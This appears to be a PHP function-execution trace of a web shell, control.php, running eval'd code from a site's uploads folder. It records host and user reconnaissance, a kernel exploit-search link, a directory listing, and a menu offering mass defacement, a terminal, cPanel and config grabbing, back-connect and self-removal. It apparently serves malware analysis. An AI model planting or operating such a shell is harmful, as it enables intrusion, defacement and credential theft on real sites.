5	62	0	0.016284	1252824	strpos	0		/var/www/html/uploads/control.php(5) : eval()'d code	126	2	NULL	'\n'
5	62	1	0.016298	1252896
5	62	R			FALSE
5	63	0	0.016311	1252824	htmlspecialchars	0		/var/www/html/uploads/control.php(5) : eval()'d code	126	2	NULL	3
5	63	1	0.016326	1253056
5	63	R			''
5	64	0	0.016339	1252824	strpos	0		/var/www/html/uploads/control.php(5) : eval()'d code	127	2	NULL	'\n'
5	64	1	0.016353	1252896
5	64	R			FALSE
5	65	0	0.016366	1252824	htmlspecialchars	0		/var/www/html/uploads/control.php(5) : eval()'d code	127	2	NULL	3
5	65	1	0.016380	1253056
5	65	R			''
5	66	0	0.016396	1257944	md5	0		/var/www/html/uploads/control.php(5) : eval()'d code	138	1	'localhost'
5	66	1	0.016411	1258040
5	66	R			'421aa90e079fa326b6494f812ad13e79'
5	67	0	0.016428	1257944	md5	0		/var/www/html/uploads/control.php(5) : eval()'d code	139	1	'localhost'
5	67	1	0.016441	1258040
5	67	R			'421aa90e079fa326b6494f812ad13e79'
5	68	0	0.016456	1257944	md5	0		/var/www/html/uploads/control.php(5) : eval()'d code	140	1	'localhost'
5	68	1	0.016469	1258040
5	68	R			'421aa90e079fa326b6494f812ad13e79'
5	69	0	0.016493	1257944	md5	0		/var/www/html/uploads/control.php(5) : eval()'d code	141	1	'localhost'
5	69	1	0.016506	1258040
5	69	R			'421aa90e079fa326b6494f812ad13e79'
5	70	0	0.016520	1257944	md5	0		/var/www/html/uploads/control.php(5) : eval()'d code	142	1	'localhost'
5	70	1	0.016534	1258040
5	70	R			'421aa90e079fa326b6494f812ad13e79'
5	71	0	0.016549	1257944	addslashes	0		/var/www/html/uploads/control.php(5) : eval()'d code	154	1	'/uploads/control.php'
5	71	1	0.016563	1257976
5	71	R			'/uploads/control.php'
5	72	0	0.016599	1249864	diskfreespace	0		/var/www/html/uploads/control.php(5) : eval()'d code	186	1	'/var/www/html/uploads/'
5	72	1	0.016623	1249896
5	72	R			202900799488
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	186	$freeSpace = 202900799488
5	73	0	0.016652	1249864	disk_total_space	0		/var/www/html/uploads/control.php(5) : eval()'d code	187	1	'/var/www/html/uploads/'
5	73	1	0.016668	1249896
5	73	R			232015802368
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	187	$totalSpace = 232015802368
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	188	$totalSpace = 232015802368
5	74	0	0.016707	1249864	php_uname	0		/var/www/html/uploads/control.php(5) : eval()'d code	189	1	'r'
5	74	1	0.016722	1249944
5	74	R			'5.15.0-60-generic'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	189	$release = '5.15.0-60-generic'
5	75	0	0.016748	1249912	php_uname	0		/var/www/html/uploads/control.php(5) : eval()'d code	190	1	's'
5	75	1	0.016761	1249976
5	75	R			'Linux'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	190	$kernel = 'Linux'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	191	$explink = 'https://www.exploit-db.com/search/?action=search&description='
5	76	0	0.016801	1249944	strpos	0		/var/www/html/uploads/control.php(5) : eval()'d code	192	2	'Linux'	'Linux'
5	76	1	0.016815	1250016
5	76	R			0
5	77	0	0.016829	1249944	substr	0		/var/www/html/uploads/control.php(5) : eval()'d code	193	3	'5.15.0-60-generic'	0	6
5	77	1	0.016845	1250072
5	77	R			'5.15.0'
5	78	0	0.016858	1249992	urlencode	0		/var/www/html/uploads/control.php(5) : eval()'d code	193	1	'Linux Kernel 5.15.0'
5	78	1	0.016873	1250072
5	78	R			'Linux+Kernel+5.15.0'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	193	$explink .= 'Linux+Kernel+5.15.0'
5	79	0	0.016900	1250056	function_exists	0		/var/www/html/uploads/control.php(5) : eval()'d code	196	1	'posix_getegid'
5	79	1	0.016916	1250096
5	79	R			TRUE
5	80	0	0.016930	1250056	posix_geteuid	0		/var/www/html/uploads/control.php(5) : eval()'d code	202	0
5	80	1	0.016945	1250056
5	80	R			33
5	81	0	0.016957	1250056	posix_getpwuid	0		/var/www/html/uploads/control.php(5) : eval()'d code	202	1	33
5	81	1	0.017002	1250888
5	81	R			['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	202	$uid = ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
5	82	0	0.017049	1250856	posix_getegid	0		/var/www/html/uploads/control.php(5) : eval()'d code	203	0
5	82	1	0.017063	1250856
5	82	R			33
5	83	0	0.017075	1250856	posix_getgrgid	0		/var/www/html/uploads/control.php(5) : eval()'d code	203	1	33
5	83	1	0.017106	1251520
5	83	R			['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	203	$gid = ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	204	$user = 'www-data'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	205	$uid = 33
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	206	$group = 'www-data'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	207	$gid = 33
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	209	$cwd_links = ''
5	84	0	0.017201	1250136	explode	0		/var/www/html/uploads/control.php(5) : eval()'d code	210	2	'/'	'/var/www/html/uploads/'
5	84	1	0.017221	1250744
5	84	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	210	$path = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	211	$n = 6
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	212	$i = 0
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	213	$cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	214	$j = 0
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	215	$cwd_links .= '/'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	214	$j++
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	216	$cwd_links .= '")\'>/</a>'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	212	$i++
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	213	$cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	214	$j = 0
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	215	$cwd_links .= '/'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	214	$j++
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	215	$cwd_links .= 'var/'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	214	$j++
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	216	$cwd_links .= '")\'>var/</a>'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	212	$i++
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	213	$cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	214	$j = 0
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	215	$cwd_links .= '/'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	214	$j++
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	215	$cwd_links .= 'var/'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	214	$j++
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	215	$cwd_links .= 'www/'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	214	$j++
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	216	$cwd_links .= '")\'>www/</a>'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	212	$i++
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	213	$cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	214	$j = 0
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	215	$cwd_links .= '/'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	214	$j++
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	215	$cwd_links .= 'var/'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	214	$j++
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	215	$cwd_links .= 'www/'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	214	$j++
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	215	$cwd_links .= 'html/'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	214	$j++
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	216	$cwd_links .= '")\'>html/</a>'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	212	$i++
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	213	$cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	214	$j = 0
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	215	$cwd_links .= '/'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	214	$j++
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	215	$cwd_links .= 'var/'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	214	$j++
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	215	$cwd_links .= 'www/'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	214	$j++
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	215	$cwd_links .= 'html/'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	214	$j++
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	215	$cwd_links .= 'uploads/'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	214	$j++
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	216	$cwd_links .= '")\'>uploads/</a>'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	212	$i++
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	218	$charsets = [0 => 'UTF-8', 1 => 'Windows-1251', 2 => 'KOI8-R', 3 => 'KOI8-U', 4 => 'cp866']
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	219	$opt_charsets = ''
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	221	$opt_charsets .= '<option value="UTF-8" selected>UTF-8</option>'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	221	$opt_charsets .= '<option value="Windows-1251" >Windows-1251</option>'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	221	$opt_charsets .= '<option value="KOI8-R" >KOI8-R</option>'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	221	$opt_charsets .= '<option value="KOI8-U" >KOI8-U</option>'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	221	$opt_charsets .= '<option value="cp866" >cp866</option>'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	222	$m = ['Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Mass Deface' => 'Sql', 'Adminer' => 'Infect', 'Terminal' => 'Console', 'Mass Title Edit' => 'Massuser', 'Grab Cpanel' => 'Php', 'Get Configs' => 'SafeMode', 'Jumping' => 'StringTools', 'Cgi Telnet' => 'Bruteforce', 'Back Connect' => 'Network']
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	225	$m['Self remove'] = 'SelfRemove'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	226	$menu = ''
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	227	$k = 'Sec. Info'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	228	$menu .= '<th>[ <a href="#" onclick="g(\'SecInfo\',null,\'\',\'\',\'\')">Sec. Info</a> ]</th>'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	227	$k = 'Files'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	228	$menu .= '<th>[ <a href="#" onclick="g(\'FilesMan\',null,\'\',\'\',\'\')">Files</a> ]</th>'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	227	$k = 'Mass Deface'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	228	$menu .= '<th>[ <a href="#" onclick="g(\'Sql\',null,\'\',\'\',\'\')">Mass Deface</a> ]</th>'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	227	$k = 'Adminer'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	228	$menu .= '<th>[ <a href="#" onclick="g(\'Infect\',null,\'\',\'\',\'\')">Adminer</a> ]</th>'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	227	$k = 'Terminal'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	228	$menu .= '<th>[ <a href="#" onclick="g(\'Console\',null,\'\',\'\',\'\')">Terminal</a> ]</th>'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	227	$k = 'Mass Title Edit'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	228	$menu .= '<th>[ <a href="#" onclick="g(\'Massuser\',null,\'\',\'\',\'\')">Mass Title Edit</a> ]</th>'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	227	$k = 'Grab Cpanel'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	228	$menu .= '<th>[ <a href="#" onclick="g(\'Php\',null,\'\',\'\',\'\')">Grab Cpanel</a> ]</th>'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	227	$k = 'Get Configs'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	228	$menu .= '<th>[ <a href="#" onclick="g(\'SafeMode\',null,\'\',\'\',\'\')">Get Configs</a> ]</th>'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	227	$k = 'Jumping'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	228	$menu .= '<th>[ <a href="#" onclick="g(\'StringTools\',null,\'\',\'\',\'\')">Jumping</a> ]</th>'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	227	$k = 'Cgi Telnet'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	228	$menu .= '<th>[ <a href="#" onclick="g(\'Bruteforce\',null,\'\',\'\',\'\')">Cgi Telnet</a> ]</th>'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	227	$k = 'Back Connect'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	228	$menu .= '<th>[ <a href="#" onclick="g(\'Network\',null,\'\',\'\',\'\')">Back Connect</a> ]</th>'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	227	$k = 'Self remove'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	228	$menu .= '<th>[ <a href="#" onclick="g(\'SelfRemove\',null,\'\',\'\',\'\')">Self remove</a> ]</th>'
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	229	$drives = ''
5	85	0	0.018241	1253160	php_uname	0		/var/www/html/uploads/control.php(5) : eval()'d code	237	0
5	85	1	0.018256	1253272
5	85	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
5	86	0	0.018275	1253272	substr	0		/var/www/html/uploads/control.php(5) : eval()'d code	237	3	'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'	0	120
5	86	1	0.018293	1253368
5	86	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
5	87	0	0.018311	1253288	php_uname	0		/var/www/html/uploads/control.php(5) : eval()'d code	237	0
5	87	1	0.018325	1253400
5	87	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
5	88	0	0.018343	1253400	urlencode	0		/var/www/html/uploads/control.php(5) : eval()'d code	237	1	'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
5	88	1	0.018360	1253560
5	88	R			'Linux+osboxes+5.15.0-60-generic+%2366-Ubuntu+SMP+Fri+Jan+20+14%3A29%3A49+UTC+2023+x86_64'
5	89	0	0.018379	1253608	phpversion	0		/var/www/html/uploads/control.php(5) : eval()'d code	237	0
5	89	1	0.018393	1253672
5	89	R			'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
5	90	0	0.018409	1253864	date	0		/var/www/html/uploads/control.php(5) : eval()'d code	237	1	'Y-m-d H:i:s'
5	90	1	0.018475	1256216
5	90	R			'2023-02-12 19:29:24'
5	91	0	0.018496	1255928	viewSize	1		/var/www/html/uploads/control.php(5) : eval()'d code	237	1	232015802368
6	92	0	0.018512	1255928	sprintf	0		/var/www/html/uploads/control.php(5) : eval()'d code	293	2	'%1.2f'	216.08155441284
6	92	1	0.018528	1256312
6	92	R			'216.08'
5	91	1	0.018541	1255968
5	91	R			'216.08 GB'
5	93	0	0.018560	1255928	viewSize	1		/var/www/html/uploads/control.php(5) : eval()'d code	237	1	202900799488
6	94	0	0.018574	1255928	sprintf	0		/var/www/html/uploads/control.php(5) : eval()'d code	293	2	'%1.2f'	188.9660949707
6	94	1	0.018734	1256312
6	94	R			'188.97'
5	93	1	0.018752	1255968
5	93	R			'188.97 GB'
5	95	0	0.018767	1255928	round	0		/var/www/html/uploads/control.php(5) : eval()'d code	237	2	87.451284531982	2
5	95	1	0.018782	1256000
5	95	R			87.45
5	96	0	0.018797	1256312	viewPermsColor	1		/var/www/html/uploads/control.php(5) : eval()'d code	237	1	'/var/www/html/uploads/'
6	97	0	0.018813	1256312	is_readable	0		/var/www/html/uploads/control.php(5) : eval()'d code	322	1	'/var/www/html/uploads/'
6	97	1	0.018836	1256352
6	97	R			TRUE
6	98	0	0.018849	1256312	is_writable	0		/var/www/html/uploads/control.php(5) : eval()'d code	324	1	'/var/www/html/uploads/'
6	98	1	0.018865	1256352
6	98	R			TRUE
6	99	0	0.018879	1256312	fileperms	0		/var/www/html/uploads/control.php(5) : eval()'d code	327	1	'/var/www/html/uploads/'
6	99	1	0.018895	1256376
6	99	R			16895
6	100	0	0.018908	1256336	perms	1		/var/www/html/uploads/control.php(5) : eval()'d code	327	1	16895
6		A						/var/www/html/uploads/control.php(5) : eval()'d code	306	$i = 'd'
6		A						/var/www/html/uploads/control.php(5) : eval()'d code	310	$i .= 'r'
6		A						/var/www/html/uploads/control.php(5) : eval()'d code	311	$i .= 'w'
6		A						/var/www/html/uploads/control.php(5) : eval()'d code	312	$i .= 'x'
6		A						/var/www/html/uploads/control.php(5) : eval()'d code	313	$i .= 'r'
6		A						/var/www/html/uploads/control.php(5) : eval()'d code	314	$i .= 'w'
6		A						/var/www/html/uploads/control.php(5) : eval()'d code	315	$i .= 'x'
6		A						/var/www/html/uploads/control.php(5) : eval()'d code	316	$i .= 'r'
6		A						/var/www/html/uploads/control.php(5) : eval()'d code	317	$i .= 'w'
6		A						/var/www/html/uploads/control.php(5) : eval()'d code	318	$i .= 'x'
6	100	1	0.019031	1256376
6	100	R			'drwxrwxrwx'
5	96	1	0.019046	1256416
5	96	R			'<font color=#e6b000><b>drwxrwxrwx</b></font>'
5	101	0	0.019065	1256848	gethostbyname	0		/var/www/html/uploads/control.php(5) : eval()'d code	238	1	'localhost'
5	101	1	0.019104	1256928
5	101	R			'127.0.0.1'
4	56	1	0.019123	1251952
4	102	0	0.019133	1251952	hardScandir	1		/var/www/html/uploads/control.php(5) : eval()'d code	864	1	'/var/www/html/uploads/'
5	103	0	0.019147	1251952	function_exists	0		/var/www/html/uploads/control.php(5) : eval()'d code	330	1	'scandir'
5	103	1	0.019161	1251992
5	103	R			TRUE
5	104	0	0.019174	1251952	scandir	0		/var/www/html/uploads/control.php(5) : eval()'d code	331	1	'/var/www/html/uploads/'
5	104	1	0.019218	1252576
5	104	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'control.php', 4 => 'data', 5 => 'prepend.php']
4	102	1	0.019240	1252544
4	102	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'control.php', 4 => 'data', 5 => 'prepend.php']
3		A						/var/www/html/uploads/control.php(5) : eval()'d code	864	$dirContent = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'control.php', 4 => 'data', 5 => 'prepend.php']
3		A						/var/www/html/uploads/control.php(5) : eval()'d code	867	$sort = [0 => 'name', 1 => 1]
3		A						/var/www/html/uploads/control.php(5) : eval()'d code	881	$files = []
3		A						/var/www/html/uploads/control.php(5) : eval()'d code	881	$dirs = []
3		A						/var/www/html/uploads/control.php(5) : eval()'d code	882	$n = 6
3		A						/var/www/html/uploads/control.php(5) : eval()'d code	883	$i = 0
4	105	0	0.019335	1252568	fileowner	0		/var/www/html/uploads/control.php(5) : eval()'d code	884	1	'.'
4	105	1	0.019351	1252592
4	105	R			0
4	106	0	0.019364	1252552	posix_getpwuid	0		/var/www/html/uploads/control.php(5) : eval()'d code	884	1	0
4	106	1	0.019389	1253352
4	106	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
3		A						/var/www/html/uploads/control.php(5) : eval()'d code	884	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	107	0	0.019431	1253320	filegroup	0		/var/www/html/uploads/control.php(5) : eval()'d code	885	1	'.'
4	107	1	0.019445	1253360
4	107	R			0
4	108	0	0.019457	1253320	posix_getgrgid	0		/var/www/html/uploads/control.php(5) : eval()'d code	885	1	0
4	108	1	0.019480	1253976
4	108	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
3		A						/var/www/html/uploads/control.php(5) : eval()'d code	885	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	109	0	0.019518	1254416	filemtime	0		/var/www/html/uploads/control.php(5) : eval()'d code	888	1	'/var/www/html/uploads/.'
4	109	1	0.019534	1254472
4	109	R			1676248164
4	110	0	0.019547	1254384	date	0		/var/www/html/uploads/control.php(5) : eval()'d code	888	2	'Y-m-d H:i:s'	1676248164
4	110	1	0.019580	1254712
4	110	R			'2023-02-12 19:29:24'
4	111	0	0.019595	1254688	viewPermsColor	1		/var/www/html/uploads/control.php(5) : eval()'d code	889	1	'/var/www/html/uploads/.'
5	112	0	0.019609	1254688	is_readable	0		/var/www/html/uploads/control.php(5) : eval()'d code	322	1	'/var/www/html/uploads/.'
5	112	1	0.019626	1254728
5	112	R			TRUE
5	113	0	0.019639	1254688	is_writable	0		/var/www/html/uploads/control.php(5) : eval()'d code	324	1	'/var/www/html/uploads/.'
5	113	1	0.019655	1254728
5	113	R			TRUE
5	114	0	0.019667	1254688	fileperms	0		/var/www/html/uploads/control.php(5) : eval()'d code	327	1	'/var/www/html/uploads/.'
5	114	1	0.019681	1254728
5	114	R			16895
5	115	0	0.019694	1254688	perms	1		/var/www/html/uploads/control.php(5) : eval()'d code	327	1	16895
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	306	$i = 'd'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	310	$i .= 'r'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	311	$i .= 'w'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	312	$i .= 'x'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	313	$i .= 'r'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	314	$i .= 'w'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	315	$i .= 'x'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	316	$i .= 'r'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	317	$i .= 'w'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	318	$i .= 'x'
5	115	1	0.019813	1254728
5	115	R			'drwxrwxrwx'
4	111	1	0.019827	1254768
4	111	R			'<font color=#e6b000><b>drwxrwxrwx</b></font>'
4	116	0	0.019844	1254768	filesize	0		/var/www/html/uploads/control.php(5) : eval()'d code	890	1	'/var/www/html/uploads/.'
4	116	1	0.019859	1254808
4	116	R			4096
3		A						/var/www/html/uploads/control.php(5) : eval()'d code	892	$tmp = ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']
4	117	0	0.019895	1254768	is_file	0		/var/www/html/uploads/control.php(5) : eval()'d code	894	1	'/var/www/html/uploads/.'
4	117	1	0.019909	1254808
4	117	R			FALSE
4	118	0	0.019923	1254768	is_link	0		/var/www/html/uploads/control.php(5) : eval()'d code	896	1	'/var/www/html/uploads/.'
4	118	1	0.019939	1254832
4	118	R			FALSE
4	119	0	0.019952	1254792	is_dir	0		/var/www/html/uploads/control.php(5) : eval()'d code	898	1	'/var/www/html/uploads/.'
4	119	1	0.019966	1254832
4	119	R			TRUE
3		A						/var/www/html/uploads/control.php(5) : eval()'d code	883	$i++
4	120	0	0.019990	1254744	fileowner	0		/var/www/html/uploads/control.php(5) : eval()'d code	884	1	'..'
4	120	1	0.020005	1254768
4	120	R			0
4	121	0	0.020018	1254728	posix_getpwuid	0		/var/www/html/uploads/control.php(5) : eval()'d code	884	1	0
4	121	1	0.020043	1255528
4	121	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
3		A						/var/www/html/uploads/control.php(5) : eval()'d code	884	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	122	0	0.020085	1254760	filegroup	0		/var/www/html/uploads/control.php(5) : eval()'d code	885	1	'..'
4	122	1	0.020099	1254800
4	122	R			0
4	123	0	0.020112	1254760	posix_getgrgid	0		/var/www/html/uploads/control.php(5) : eval()'d code	885	1	0
4	123	1	0.020135	1255416
4	123	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
3		A						/var/www/html/uploads/control.php(5) : eval()'d code	885	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	124	0	0.020172	1255280	filemtime	0		/var/www/html/uploads/control.php(5) : eval()'d code	888	1	'/var/www/html/uploads/..'
4	124	1	0.020188	1255344
4	124	R			1676248164
4	125	0	0.020201	1255248	date	0		/var/www/html/uploads/control.php(5) : eval()'d code	888	2	'Y-m-d H:i:s'	1676248164
4	125	1	0.020233	1255576
4	125	R			'2023-02-12 19:29:24'
4	126	0	0.020249	1255560	viewPermsColor	1		/var/www/html/uploads/control.php(5) : eval()'d code	889	1	'/var/www/html/uploads/..'
5	127	0	0.020263	1255560	is_readable	0		/var/www/html/uploads/control.php(5) : eval()'d code	322	1	'/var/www/html/uploads/..'
5	127	1	0.020279	1255600
5	127	R			TRUE
5	128	0	0.020292	1255560	is_writable	0		/var/www/html/uploads/control.php(5) : eval()'d code	324	1	'/var/www/html/uploads/..'
5	128	1	0.020308	1255600
5	128	R			TRUE
5	129	0	0.020321	1255560	fileperms	0		/var/www/html/uploads/control.php(5) : eval()'d code	327	1	'/var/www/html/uploads/..'
5	129	1	0.020335	1255600
5	129	R			16895
5	130	0	0.020348	1255560	perms	1		/var/www/html/uploads/control.php(5) : eval()'d code	327	1	16895
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	306	$i = 'd'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	310	$i .= 'r'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	311	$i .= 'w'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	312	$i .= 'x'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	313	$i .= 'r'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	314	$i .= 'w'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	315	$i .= 'x'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	316	$i .= 'r'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	317	$i .= 'w'
5		A						/var/www/html/uploads/control.php(5) : eval()'d code	318	$i .= 'x'
5	130	1	0.020466	1255600
5	130	R			'drwxrwxrwx'
4	126	1	0.020480	1255640
4	126	R			'<font color=#e6b000><b>drwxrwxrwx</b></font>'
4	131	0	0.020497	1255640	filesize	0		/var/www/html/uploads/control.php(5) : eval()'d code	890	1	'/var/www/html/uploads/..'
4	131	1	0.020512	1255680
4	131	R			4096
3		A						/var/www/html/uploads/control.php(5) : eval()'d code	892	$tmp = ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']
4	132	0	0.020548	1254816	is_file	0		/var/www/html/uploads/control.php(5) : eval()'d code	894	1	'/var/www/html/uploads/..'
4	132	1	0.020563	1254856
4	132	R			FALSE
4	133	0	0.020576	1254816	is_link	0		/var/www/html/uploads/control.php(5) : eval()'d code	896	1	'/var/www/html/uploads/..'
4	133	1	0.020592	1254864
4	133	R			FALSE
4	134	0	0.020605	1254824	is_dir	0		/var/www/html/uploads/control.php(5) : eval()'d code	898	1	'/var/www/html/uploads/..'
4	134	1	0.020619	1254864
4	134	R			TRUE
